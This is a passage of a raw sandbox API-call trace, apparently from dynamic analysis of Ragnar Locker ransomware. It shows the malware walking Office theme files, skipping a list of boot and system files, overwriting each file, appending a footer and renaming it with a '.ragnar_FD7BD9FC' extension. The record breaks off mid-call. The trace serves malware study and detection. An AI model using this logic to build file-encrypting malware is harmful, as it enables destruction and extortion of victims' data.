[0094.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx")) returned 0x20 [0094.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.532] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=68069) returned 1 [0094.532] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x109dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.532] GetProcessHeap () returned 0x580000 [0094.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.532] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.533] VirtualAlloc (lpAddress=0x0, dwSize=0x109e5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.534] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.534] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.534] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x109e5, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x109e5, lpOverlapped=0x0) returned 1 [0094.536] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.536] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.536] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x109e5, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x109e5, lpOverlapped=0x0) returned 1 [0094.536] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.536] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.537] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x109e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.537] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.537] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.537] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.537] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.537] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.537] GetProcessHeap () returned 0x580000 [0094.537] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.537] CloseHandle (hObject=0x98) returned 1 [0094.537] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" [0094.537] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.ragnar_FD7BD9FC" [0094.537] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.538] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0094.538] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.538] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Austin.thmx" | out: lpString1="Austin.thmx") returned="Austin.thmx" [0094.538] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx") returned=".thmx" [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="autorun.inf") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="boot.ini") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="bootfont.bin") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="bootsect.bak") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="bootmgr") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="bootmgr.efi") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="bootmgfw.efi") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="desktop.ini") returned -1 [0094.538] lstrcmpiW (lpString1="Austin.thmx", lpString2="iconcache.db") returned -1 [0094.539] lstrcmpiW (lpString1="Austin.thmx", lpString2="ntldr") returned -1 [0094.539] lstrcmpiW (lpString1="Austin.thmx", lpString2="ntuser.dat") returned -1 [0094.539] lstrcmpiW (lpString1="Austin.thmx", lpString2="ntuser.dat.log") returned -1 [0094.539] lstrcmpiW (lpString1="Austin.thmx", lpString2="ntuser.ini") returned -1 [0094.539] lstrcmpiW (lpString1="Austin.thmx", lpString2="thumbs.db") returned -1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.539] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx")) returned 0x20 [0094.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.539] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=95803) returned 1 [0094.539] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x17632, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.540] GetProcessHeap () returned 0x580000 [0094.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.540] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.541] VirtualAlloc (lpAddress=0x0, dwSize=0x1763b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.541] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.541] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.541] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1763b, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x1763b, lpOverlapped=0x0) returned 1 [0094.544] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.545] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1763b, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.545] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1763b, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x1763b, lpOverlapped=0x0) returned 1 [0094.545] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1763b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.545] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.546] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1763b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.546] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.546] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.546] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.546] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.546] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.546] GetProcessHeap () returned 0x580000 [0094.546] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.546] CloseHandle (hObject=0x98) returned 1 [0094.546] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" [0094.546] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.ragnar_FD7BD9FC" [0094.546] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.547] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0094.547] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.547] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Black Tie.thmx" | out: lpString1="Black Tie.thmx") returned="Black Tie.thmx" [0094.547] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx") returned=".thmx" [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="autorun.inf") returned 1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="boot.ini") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="bootfont.bin") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="bootsect.bak") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="bootmgr") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="bootmgr.efi") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="bootmgfw.efi") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="desktop.ini") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="iconcache.db") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="ntldr") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="ntuser.dat") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="ntuser.dat.log") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="ntuser.ini") returned -1 [0094.547] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="thumbs.db") returned -1 [0094.547] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.547] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.547] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.548] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.548] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.548] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.548] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx")) returned 0x20 [0094.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.548] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=655107) returned 1 [0094.548] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x9fefa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.548] GetProcessHeap () returned 0x580000 [0094.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.548] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.550] VirtualAlloc (lpAddress=0x0, dwSize=0x9ff03, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0094.550] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.550] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.550] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x9ff03, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eba0c*=0x9ff03, lpOverlapped=0x0) returned 1 [0094.566] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.570] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9ff03, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.570] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x9ff03, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eba08*=0x9ff03, lpOverlapped=0x0) returned 1 [0094.571] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9ff03, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.571] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.574] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x9ff03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.575] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.575] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.575] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.575] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.575] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.575] GetProcessHeap () returned 0x580000 [0094.575] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.575] CloseHandle (hObject=0x98) returned 1 [0094.575] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" [0094.575] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.ragnar_FD7BD9FC" [0094.575] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.577] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0094.577] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.577] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Civic.thmx" | out: lpString1="Civic.thmx") returned="Civic.thmx" [0094.577] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx") returned=".thmx" [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="autorun.inf") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="boot.ini") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="bootfont.bin") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="bootsect.bak") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="bootmgr") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="bootmgr.efi") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="bootmgfw.efi") returned 1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="desktop.ini") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="iconcache.db") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="ntldr") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="ntuser.dat") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="ntuser.dat.log") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="ntuser.ini") returned -1 [0094.577] lstrcmpiW (lpString1="Civic.thmx", lpString2="thumbs.db") returned -1 [0094.577] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.577] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.577] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.577] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.577] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.577] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.578] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx")) returned 0x20 [0094.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.578] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=101393) returned 1 [0094.579] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x18c08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.579] GetProcessHeap () returned 0x580000 [0094.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.579] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.580] VirtualAlloc (lpAddress=0x0, dwSize=0x18c11, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.580] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.580] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.580] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, 